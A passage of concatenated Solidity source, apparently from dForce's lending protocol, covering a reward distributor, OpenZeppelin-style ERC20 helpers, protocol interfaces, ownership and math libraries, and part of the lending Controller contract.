globalDistributionSpeed = _borrowSpeed;
globalDistributionSupplySpeed = _supplySpeed;
emit GlobalDistributionSpeedsUpdated(_borrowSpeed, _supplySpeed);
}
function _setDistributionBorrowSpeedsInternal(
address[] memory _iTokens,
uint256[] memory _borrowSpeeds
) internal {
require(
_iTokens.length == _borrowSpeeds.length,
"Length of _iTokens and _borrowSpeeds mismatch"
);
uint256 _len = _iTokens.length;
for (uint256 i = 0; i < _len; i++) {
_setDistributionBorrowSpeed(_iTokens[i], _borrowSpeeds[i]);
}
}
function _setDistributionSupplySpeedsInternal(
address[] memory _iTokens,
uint256[] memory _supplySpeeds
) internal {
require(
_iTokens.length == _supplySpeeds.length,
"Length of _iTokens and _supplySpeeds mismatch"
);
uint256 _len = _iTokens.length;
for (uint256 i = 0; i < _len; i++) {
_setDistributionSupplySpeed(_iTokens[i], _supplySpeeds[i]);
}
}
function _setDistributionBorrowSpeed(address _iToken, uint256 _borrowSpeed)
internal
{
// iToken must have been listed
require(controller.hasiToken(_iToken), "Token has not been listed");
// Update borrow state before updating new speed
_updateDistributionState(_iToken, true);
distributionSpeed[_iToken] = _borrowSpeed;
emit DistributionBorrowSpeedUpdated(_iToken, _borrowSpeed);
}
function _setDistributionSupplySpeed(address _iToken, uint256 _supplySpeed)
internal
{
// iToken must have been listed
require(controller.hasiToken(_iToken), "Token has not been listed");
// Update supply state before updating new speed
_updateDistributionState(_iToken, false);
distributionSupplySpeed[_iToken] = _supplySpeed;
emit DistributionSupplySpeedUpdated(_iToken, _supplySpeed);
}
/**
* @notice Update the iToken's Reward distribution state
* @dev Will be called every time when the iToken's supply/borrow changes
* @param _iToken The iToken to be updated
* @param _isBorrow whether to update the borrow state
*/
function updateDistributionState(address _iToken, bool _isBorrow)
external
override
{
// Skip all updates if it is paused
if (paused) {
return;
}
_updateDistributionState(_iToken, _isBorrow);
}
function _updateDistributionState(address _iToken, bool _isBorrow)
internal
{
require(controller.hasiToken(_iToken), "Token has not been listed");
DistributionState storage state =
_isBorrow
? distributionBorrowState[_iToken]
: distributionSupplyState[_iToken];
uint256 _speed =
_isBorrow
? distributionSpeed[_iToken]
: distributionSupplySpeed[_iToken];
uint256 _blockNumber = block.number;
uint256 _deltaBlocks = _blockNumber.sub(state.block);
if (_deltaBlocks > 0 && _speed > 0) {
uint256 _totalToken =
_isBorrow
? IiToken(_iToken).totalBorrows().rdiv(
IiToken(_iToken).borrowIndex()
)
: IERC20Upgradeable(_iToken).totalSupply();
uint256 _totalDistributed = _speed.mul(_deltaBlocks);
// Reward distributed per token since last time
uint256 _distributedPerToken =
_totalToken > 0 ? _totalDistributed.rdiv(_totalToken) : 0;
state.index = state.index.add(_distributedPerToken);
}
state.block = _blockNumber;
}
/**
* @notice Update the account's Reward distribution state
* @dev Will be called every time when the account's supply/borrow changes
* @param _iToken The iToken to be updated
* @param _account The account to be updated
* @param _isBorrow whether to update the borrow state
*/
function updateReward(
address _iToken,
address _account,
bool _isBorrow
) external override {
_updateReward(_iToken, _account, _isBorrow);
}
function _updateReward(
address _iToken,
address _account,
bool _isBorrow
) internal {
require(_account != address(0), "Invalid account address!");
require(controller.hasiToken(_iToken), "Token has not been listed");
uint256 _iTokenIndex;
uint256 _accountIndex;
uint256 _accountBalance;
if (_isBorrow) {
_iTokenIndex = distributionBorrowState[_iToken].index;
_accountIndex = distributionBorrowerIndex[_iToken][_account];
_accountBalance = IiToken(_iToken)
.borrowBalanceStored(_account)
.rdiv(IiToken(_iToken).borrowIndex());
// Update the account state to date
distributionBorrowerIndex[_iToken][_account] = _iTokenIndex;
} else {
_iTokenIndex = distributionSupplyState[_iToken].index;
_accountIndex = distributionSupplierIndex[_iToken][_account];
_accountBalance = IERC20Upgradeable(_iToken).balanceOf(_account);
// Update the account state to date
distributionSupplierIndex[_iToken][_account] = _iTokenIndex;
}
uint256 _deltaIndex = _iTokenIndex.sub(_accountIndex);
uint256 _amount = _accountBalance.rmul(_deltaIndex);
if (_amount > 0) {
reward[_account] = reward[_account].add(_amount);
emit RewardDistributed(_iToken, _account, _amount, _accountIndex);
}
}
/**
* @notice Update reward accrued in iTokens by the holders regardless of paused or not
* @param _holders The account to update
* @param _iTokens The _iTokens to update
*/
function updateRewardBatch(
address[] memory _holders,
address[] memory _iTokens
) public override {
// Update rewards for all _iTokens for holders
for (uint256 i = 0; i < _iTokens.length; i++) {
address _iToken = _iTokens[i];
_updateDistributionState(_iToken, false);
_updateDistributionState(_iToken, true);
for (uint256 j = 0; j < _holders.length; j++) {
_updateReward(_iToken, _holders[j], false);
_updateReward(_iToken, _holders[j], true);
}
}
}
/**
* @notice Update reward accrued in iTokens by the holders regardless of paused or not
* @param _holders The account to update
* @param _iTokens The _iTokens to update
* @param _isBorrow whether to update the borrow state
*/
function _updateRewards(
address[] memory _holders,
address[] memory _iTokens,
bool _isBorrow
) internal {
// Update rewards for all _iTokens for holders
for (uint256 i = 0; i < _iTokens.length; i++) {
address _iToken = _iTokens[i];
_updateDistributionState(_iToken, _isBorrow);
for (uint256 j = 0; j < _holders.length; j++) {
_updateReward(_iToken, _holders[j], _isBorrow);
}
}
}
/**
* @notice Claim reward accrued in iTokens by the holders
* @param _holders The account to claim for
* @param _iTokens The _iTokens to claim from
*/
function claimReward(address[] memory _holders, address[] memory _iTokens)
public
override
{
updateRewardBatch(_holders, _iTokens);
// Withdraw all reward for all holders
for (uint256 j = 0; j < _holders.length; j++) {
address _account = _holders[j];
uint256 _reward = reward[_account];
if (_reward > 0) {
reward[_account] = 0;
IERC20Upgradeable(rewardToken).safeTransfer(_account, _reward);
}
}
}
/**
* @notice Claim reward accrued in iTokens by the holders
* @param _holders The account to claim for
* @param _suppliediTokens The _suppliediTokens to claim from
* @param _borrowediTokens The _borrowediTokens to claim from
*/
function claimRewards(
address[] memory _holders,
address[] memory _suppliediTokens,
address[] memory _borrowediTokens
) external override {
_updateRewards(_holders, _suppliediTokens, false);
_updateRewards(_holders, _borrowediTokens, true);
// Withdraw all reward for all holders
for (uint256 j = 0; j < _holders.length; j++) {
address _account = _holders[j];
uint256 _reward = reward[_account];
if (_reward > 0) {
reward[_account] = 0;
IERC20Upgradeable(rewardToken).safeTransfer(_account, _reward);
}
}
}
/**
* @notice Claim reward accrued in all iTokens by the holders
* @param _holders The account to claim for
*/
function claimAllReward(address[] memory _holders) external override {
claimReward(_holders, controller.getAlliTokens());
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20Upgradeable.sol";
import "../../math/SafeMathUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./IInterestRateModelInterface.sol";
import "./IControllerInterface.sol";
interface IiToken {
function isSupported() external returns (bool);
function isiToken() external returns (bool);
//----------------------------------
//********* User Interface *********
//----------------------------------
function mint(address recipient, uint256 mintAmount) external;
function mintAndEnterMarket(address recipient, uint256 mintAmount) external;
function redeem(address from, uint256 redeemTokens) external;
function redeemUnderlying(address from, uint256 redeemAmount) external;
function borrow(uint256 borrowAmount) external;
function repayBorrow(uint256 repayAmount) external;
function repayBorrowBehalf(address borrower, uint256 repayAmount) external;
function liquidateBorrow(
address borrower,
uint256 repayAmount,
address iTokenCollateral
) external;
function flashloan(
address recipient,
uint256 loanAmount,
bytes memory data
) external;
function seize(
address _liquidator,
address _borrower,
uint256 _seizeTokens
) external;
function updateInterest() external returns (bool);
function controller() external view returns (address);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function totalBorrowsCurrent() external returns (uint256);
function totalBorrows() external view returns (uint256);
function borrowBalanceCurrent(address _user) external returns (uint256);
function borrowBalanceStored(address _user) external view returns (uint256);
function borrowIndex() external view returns (uint256);
function getAccountSnapshot(address _account)
external
view
returns (
uint256,
uint256,
uint256
);
function borrowRatePerBlock() external view returns (uint256);
function supplyRatePerBlock() external view returns (uint256);
function getCash() external view returns (uint256);
//----------------------------------
//********* Owner Actions **********
//----------------------------------
function _setNewReserveRatio(uint256 _newReserveRatio) external;
function _setNewFlashloanFeeRatio(uint256 _newFlashloanFeeRatio) external;
function _setNewProtocolFeeRatio(uint256 _newProtocolFeeRatio) external;
function _setController(IControllerInterface _newController) external;
function _setInterestRateModel(
IInterestRateModelInterface _newInterestRateModel
) external;
function _withdrawReserves(uint256 _withdrawAmount) external;
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IRewardDistributorV3 {
function _setRewardToken(address newRewardToken) external;
/// @notice Emitted reward token address is changed by admin
event NewRewardToken(address oldRewardToken, address newRewardToken);
function _addRecipient(address _iToken, uint256 _distributionFactor)
external;
event NewRecipient(address iToken, uint256 distributionFactor);
/// @notice Emitted when mint is paused/unpaused by admin
event Paused(bool paused);
function _pause() external;
function _unpause(
address[] calldata _borrowiTokens,
uint256[] calldata _borrowSpeeds,
address[] calldata _supplyiTokens,
uint256[] calldata _supplySpeeds
) external;
/// @notice Emitted when Global Distribution speed for both supply and borrow are updated
event GlobalDistributionSpeedsUpdated(
uint256 borrowSpeed,
uint256 supplySpeed
);
/// @notice Emitted when iToken's Distribution borrow speed is updated
event DistributionBorrowSpeedUpdated(address iToken, uint256 borrowSpeed);
/// @notice Emitted when iToken's Distribution supply speed is updated
event DistributionSupplySpeedUpdated(address iToken, uint256 supplySpeed);
/// @notice Emitted when iToken's Distribution factor is changed by admin
event NewDistributionFactor(
address iToken,
uint256 oldDistributionFactorMantissa,
uint256 newDistributionFactorMantissa
);
function updateDistributionState(address _iToken, bool _isBorrow) external;
function updateReward(
address _iToken,
address _account,
bool _isBorrow
) external;
function updateRewardBatch(
address[] memory _holders,
address[] memory _iTokens
) external;
function claimReward(address[] memory _holders, address[] memory _iTokens)
external;
function claimAllReward(address[] memory _holders) external;
function claimRewards(address[] memory _holders, address[] memory _suppliediTokens, address[] memory _borrowediTokens) external;
/// @notice Emitted when reward of amount is distributed into account
event RewardDistributed(
address iToken,
address account,
uint256 amount,
uint256 accountIndex
);
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./IiToken.sol";
interface IPriceOracle {
/**
* @notice Get the underlying price of a iToken asset
* @param _iToken The iToken to get the underlying price of
* @return The underlying asset price mantissa (scaled by 1e18).
* Zero means the price is unavailable.
*/
function getUnderlyingPrice(address _iToken)
external
view
returns (uint256);
/**
* @notice Get the price of a underlying asset
* @param _iToken The iToken to get the underlying price of
* @return The underlying asset price mantissa (scaled by 1e18).
* Zero means the price is unavailable and whether the price is valid.
*/
function getUnderlyingPriceAndStatus(address _iToken)
external
view
returns (uint256, bool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(
!_initialized,
"Initializable: contract is already initialized"
);
_;
_initialized = true;
}
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {_setPendingOwner} and {_acceptOwner}.
*/
contract Ownable {
/**
* @dev Returns the address of the current owner.
*/
address payable public owner;
/**
* @dev Returns the address of the current pending owner.
*/
address payable public pendingOwner;
event NewOwner(address indexed previousOwner, address indexed newOwner);
event NewPendingOwner(
address indexed oldPendingOwner,
address indexed newPendingOwner
);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner == msg.sender, "onlyOwner: caller is not the owner");
_;
}
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal {
owner = msg.sender;
emit NewOwner(address(0), msg.sender);
}
/**
* @notice Base on the inputing parameter `newPendingOwner` to check the exact error reason.
* @dev Transfer contract control to a new owner. The newPendingOwner must call `_acceptOwner` to finish the transfer.
* @param newPendingOwner New pending owner.
*/
function _setPendingOwner(address payable newPendingOwner)
external
onlyOwner
{
require(
newPendingOwner != address(0) && newPendingOwner != pendingOwner,
"_setPendingOwner: New owenr can not be zero address and owner has been set!"
);
// Gets current owner.
address oldPendingOwner = pendingOwner;
// Sets new pending owner.
pendingOwner = newPendingOwner;
emit NewPendingOwner(oldPendingOwner, newPendingOwner);
}
/**
* @dev Accepts the admin rights, but only for pendingOwenr.
*/
function _acceptOwner() external {
require(
msg.sender == pendingOwner,
"_acceptOwner: Only for pending owner!"
);
// Gets current values for events.
address oldOwner = owner;
address oldPendingOwner = pendingOwner;
// Set the new contract owner.
owner = pendingOwner;
// Clear the pendingOwner.
pendingOwner = address(0);
emit NewOwner(oldOwner, owner);
emit NewPendingOwner(oldPendingOwner, pendingOwner);
}
uint256[50] private __gap;
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
library SafeRatioMath {
using SafeMathUpgradeable for uint256;
uint256 private constant BASE = 10**18;
uint256 private constant DOUBLE = 10**36;
function divup(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.add(y.sub(1)).div(y);
}
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(y).div(BASE);
}
function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(BASE).div(y);
}
function rdivup(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(BASE).add(y.sub(1)).div(y);
}
function tmul(
uint256 x,
uint256 y,
uint256 z
) internal pure returns (uint256 result) {
result = x.mul(y).mul(z).div(DOUBLE);
}
function rpow(
uint256 x,
uint256 n,
uint256 base
) internal pure returns (uint256 z) {
assembly {
switch x
case 0 {
switch n
case 0 {
z := base
}
default {
z := 0
}
}
default {
switch mod(n, 2)
case 0 {
z := base
}
default {
z := x
}
let half := div(base, 2) // for rounding.
for {
n := div(n, 2)
} n {
n := div(n, 2)
} {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) {
revert(0, 0)
}
let xxRound := add(xx, half)
if lt(xxRound, xx) {
revert(0, 0)
}
x := div(xxRound, base)
if mod(n, 2) {
let zx := mul(z, x)
if and(
iszero(iszero(x)),
iszero(eq(div(zx, x), z))
) {
revert(0, 0)
}
let zxRound := add(zx, half)
if lt(zxRound, zx) {
revert(0, 0)
}
z := div(zxRound, base)
}
}
}
}
}
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol";
import "./interface/IControllerInterface.sol";
import "./interface/IPriceOracle.sol";
import "./interface/IiToken.sol";
import "./interface/IRewardDistributor.sol";
import "./library/Initializable.sol";
import "./library/Ownable.sol";
import "./library/SafeRatioMath.sol";
/**
* @title dForce's lending controller Contract
* @author dForce
*/
contract Controller is Initializable, Ownable, IControllerInterface {
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
using SafeRatioMath for uint256;
using SafeMathUpgradeable for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
/// @dev EnumerableSet of all iTokens
EnumerableSetUpgradeable.AddressSet internal iTokens;
struct Market {
/*
* Multiplier representing the most one can borrow against their collateral in this market.
* For instance, 0.9 to allow borrowing 90% of collateral value.
* Must be in [0, 0.9], and stored as a mantissa.
*/
uint256 collateralFactorMantissa;
/*
* Multiplier representing the most one can borrow the asset.
* For instance, 0.5 to allow borrowing this asset 50% * collateral value * collateralFactor.
* When calculating equity, 0.5 with 100 borrow balance will produce 200 borrow value
* Must be between (0, 1], and stored as a mantissa.
*/
uint256 borrowFactorMantissa;
/*
* The borrow capacity of the asset, will be checked in beforeBorrow()
* -1 means there is no limit on the capacity
* 0 means the asset can not be borrowed any more
*/
uint256 borrowCapacity;
/*
* The supply capacity of the asset, will be checked in beforeMint()
* -1 means there is no limit on the capacity
* 0 means the asset can not be supplied any more
*/
uint256 supplyCapacity;
// Whether market's mint is paused
bool mintPaused;
// Whether market's redeem is paused
bool redeemPaused;
// Whether market's borrow is paused
bool borrowPaused;
}
/// @notice Mapping of iTokens to corresponding markets
mapping(address => Market) public markets;
struct AccountData {
// Account's collateral assets
EnumerableSetUpgradeable.AddressSet collaterals;
// Account's borrowed assets
EnumerableSetUpgradeable.AddressSet borrowed;
}
/// @dev Mapping of accounts' data, including collateral and borrowed assets
mapping(address => AccountData) internal accountsData;
/**
* @notice Oracle to query the price of a given asset
*/
address public priceOracle;
/**
* @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow
*/
uint256 public closeFactorMantissa;
// closeFactorMantissa must be strictly greater than this value
uint256 internal constant closeFactorMinMantissa = 0.05e18; // 0.05
// closeFactorMantissa must not exceed this value
uint256 internal constant closeFactorMaxMantissa = 0.9e18; // 0.9
/**
* @notice Multiplier representing the discount on collateral that a liquidator receives
*/
uint256 public liquidationIncentiveMantissa;
// liquidationIncentiveMantissa must be no less than this value
uint256 internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0
// liquidationIncentiveMantissa must be no greater than this value
uint256 internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5
// collateralFactorMantissa must not exceed this value
uint256 internal constant collateralFactorMaxMantissa = 1e18; // 1.0
// borrowFactorMantissa must not exceed this value
uint256 internal constant borrowFactorMaxMantissa = 1e18; // 1.0
/**
* @notice Guardian who can pause mint/borrow/liquidate/transfer in case of emergency
*/
address public pauseGuardian;
/// @notice whether global transfer is paused
bool public transferPaused;
/// @notice whether global seize is paused
bool public seizePaused;
/**
* @notice the address of reward distributor
*/
address public rewardDistributor;
/**
* @dev Check if called by owner or pauseGuardian, and only owner can unpause
*/
modifier checkPauser(bool _paused) {
require(
msg.sender == owner || (msg.sender == pauseGuardian && _paused),
"Only owner and guardian can pause and only owner can unpause"
);
_;
}
/**
* @notice Initializes the contract.
*/
function initialize() external initializer {
__Ownable_init();
}
/*********************************/
/******** Security Check *********/
/*********************************/
/**
* @notice Ensure this is a Controller contract.
*/
function isController() external view override returns (bool) {
return true;
}
/*********************************/
/******** Admin Operations *******/
/*********************************/
/**
* @notice Admin function to add iToken into supported markets
* Checks if the iToken already exsits
* Will `revert()` if any check fails
* @param _iToken The _iToken to add
* @param _collateralFactor The _collateralFactor of _iToken
* @param _borrowFactor The _borrowFactor of _iToken
* @param _supplyCapacity The _supplyCapacity of _iToken
* @param _distributionFactor The _distributionFactor of _iToken
*/
function _addMarket(
address _iToken,
uint256 _collateralFactor,
uint256 _borrowFactor,
uint256 _supplyCapacity,
uint256 _borrowCapacity,
uint256 _distributionFactor
) external override onlyOwner {
require(IiToken(_iToken).isSupported(), "Token is not supported");
// Market must not have been listed, EnumerableSet.add() will return false if it exsits
require(iTokens.add(_iToken), "Token has already been listed");
require(
_collateralFactor <= collateralFactorMaxMantissa,
"Collateral factor invalid"
);
require(
_borrowFactor > 0 && _borrowFactor <= borrowFactorMaxMantissa,
"Borrow factor invalid"
);
// Its value will be taken into account when calculate account equity
// Check if the price is available for the calculation
require(
IPriceOracle(priceOracle).getUnderlyingPrice(_iToken) != 0,
"Underlying price is unavailable"
);
markets[_iToken] = Market({
collateralFactorMantissa: _collateralFactor,
borrowFactorMantissa: _borrowFactor,
borrowCapacity: _borrowCapacity,
supplyCapacity: _supplyCapacity,
mintPaused: false,
redeemPaused: false,
borrowPaused: false
});
IRewardDistributor(rewardDistributor)._addRecipient(
_iToken,
_distributionFactor
);
emit MarketAdded(
_iToken,
_collateralFactor,
_borrowFactor,
_supplyCapacity,
_borrowCapacity,
_distributionFactor
);
}
/**
* @notice Sets price oracle
* @dev Admin function to set price oracle
* @param _newOracle New oracle contract
*/
function _setPriceOracle(address _newOracle) external override onlyOwner {
address _oldOracle = priceOracle;
require(
_newOracle != address(0) && _newOracle != _oldOracle,
"Oracle address invalid"
);
priceOracle = _newOracle;
emit NewPriceOracle(_oldOracle, _newOracle);
}
/**
* @notice Sets the closeFactor used when liquidating borrows
* @dev Admin function to set closeFactor
* @param _newCloseFactorMantissa New close factor, scaled by 1e18
*/
function _setCloseFactor(uint256 _newCloseFactorMantissa)
external
override
onlyOwner
{
require(
_newCloseFactorMantissa >= closeFactorMinMantissa &&
_newCloseFactorMantissa <= closeFactorMaxMantissa,
"Close factor invalid"
);
uint256 _oldCloseFactorMantissa = closeFactorMantissa;
closeFactorMantissa = _newCloseFactorMantissa;
emit NewCloseFactor(_oldCloseFactorMantissa, _newCloseFactorMantissa);
}
/**
* @notice Sets liquidationIncentive
* @dev Admin function to set liquidationIncentive
* @param _newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18
*/
function _setLiquidationIncentive(uint256 _newLiquidationIncentiveMantissa)
external
override
onlyOwner
{
require(
_newLiquidationIncentiveMantissa >=
liquidationIncentiveMinMantissa &&
_newLiquidationIncentiveMantissa <=
liquidationIncentiveMaxMantissa,
"Liquidation incentive invalid"
);
uint256 _oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa;
liquidationIncentiveMantissa = _newLiquidationIncentiveMantissa;
emit NewLiquidationIncentive(
_oldLiquidationIncentiveMantissa,
_newLiquidationIncentiveMantissa
);
}
/**
* @notice Sets the collateralFactor for a iToken
* @dev Admin function to set collateralFactor for a iToken
* @param _iToken The token to set the factor on
* @param _newCollateralFactorMantissa The new collateral factor, scaled by 1e18
*/
function _setCollateralFactor(
address _iToken,
uint256 _newCollateralFactorMantissa
) external override onlyOwner {
_checkiTokenListed(_iToken);
require(
_newCollateralFactorMantissa <= collateralFactorMaxMantissa,
"Collateral factor invalid"
);
// Its value will be taken into account when calculate account equity
// Check if the price is available for the calculation
require(
IPriceOracle(priceOracle).getUnderlyingPrice(_iToken) != 0,
"Failed to set collateral factor, underlying price is unavailable"
);
Market storage _market = markets[_iToken];
uint256 _oldCollateralFactorMantissa = _market.collateralFactorMantissa;
_market.collateralFactorMantissa = _newCollateralFactorMantissa;
emit NewCollateralFactor(
_iToken,
_oldCollateralFactorMantissa,
_newCollateralFactorMantissa
);
}
/**
* @notice Sets the borrowFactor for a iToken
* @dev Admin function to set borrowFactor for a iToken
* @param _iToken The token to set the factor on
* @param _newBorrowFactorMantissa The new borrow factor, scaled by 1e18
*/
function _setBorrowFactor(address _iToken, uint256 _newBorrowFactorMantissa)
external
override
onlyOwner
{
_checkiTokenListed(_iToken);
require(
_newBorrowFactorMantissa > 0 &&
_newBorrowFactorMantissa <= borrowFactorMaxMantissa,
"Borrow factor invalid"
);
// Its value will be taken into account when calculate account equity
// Check if the price is available for the calculation
require(
IPriceOracle(priceOracle).getUnderlyingPrice(_iToken) != 0,
"Failed to set borrow factor, underlying price is unavailable"
);
Market storage _market = markets[_iToken];
uint256 _oldBorrowFactorMantissa = _market.borrowFactorMantissa;
_market.borrowFactorMantissa = _newBorrowFactorMantissa;
emit NewBorrowFactor(
_iToken,
_oldBorrowFactorMantissa,
_newBorrowFactorMantissa
);
}
/**
* @notice Sets the borrowCapacity for a iToken
* @dev Admin function to set borrowCapacity for a iToken
* @param _iToken The token to set the capacity on
* @param _newBorrowCapacity The new borrow capacity
*/
function _setBorrowCapacity(address _iToken, uint256 _newBorrowCapacity)
external
override
onlyOwner
{
_checkiTokenListed(_iToken);
Market storage _market = markets[_iToken];
uint256 oldBorrowCapacity = _market.borrowCapacity;
_market.borrowCapacity = _newBorrowCapacity;
emit NewBorrowCapacity(_iToken, oldBorrowCapacity, _newBorrowCapacity);
}
/**
* @notice Sets the supplyCapacity for a iToken
* @dev Admin function to set supplyCapacity for a iToken
* @param _iToken The token to set the capacity on
* @param _newSupplyCapacity The new supply capacity
*/
function _setSupplyCapacity(address _iToken, uint256 _newSupplyCapacity)
external
override
onlyOwner
{
_checkiTokenListed(_iToken);
Market storage _market = markets[_iToken];
uint256 oldSupplyCapacity = _market.supplyCapacity;
_market.supplyCapacity = _newSupplyCapacity;
emit NewSupplyCapacity(_iToken, oldSupplyCapacity, _newSupplyCapacity);
}
/**
* @notice Sets the pauseGuardian
* @dev Admin function to set pauseGuardian
* @param _newPauseGuardian The new pause guardian
*/
function _setPauseGuardian(address _newPauseGuardian)
external
override
onlyOwner
{
address _oldPauseGuardian = pauseGuardian;
require(
_newPauseGuardian != address(0) &&
_newPauseGuardian != _oldPauseGuardian,
"Pause guardian address invalid"
);
pauseGuardian = _newPauseGuardian;
emit NewPauseGuardian(_oldPauseGuardian, _newPauseGuardian);
}
/**
* @notice pause/unpause mint() for all iTokens
* @dev Admin function, only owner and pauseGuardian can call this
* @param _paused whether to pause or unpause
*/
function _setAllMintPaused(bool _paused)
external
override
checkPauser(_paused)
{
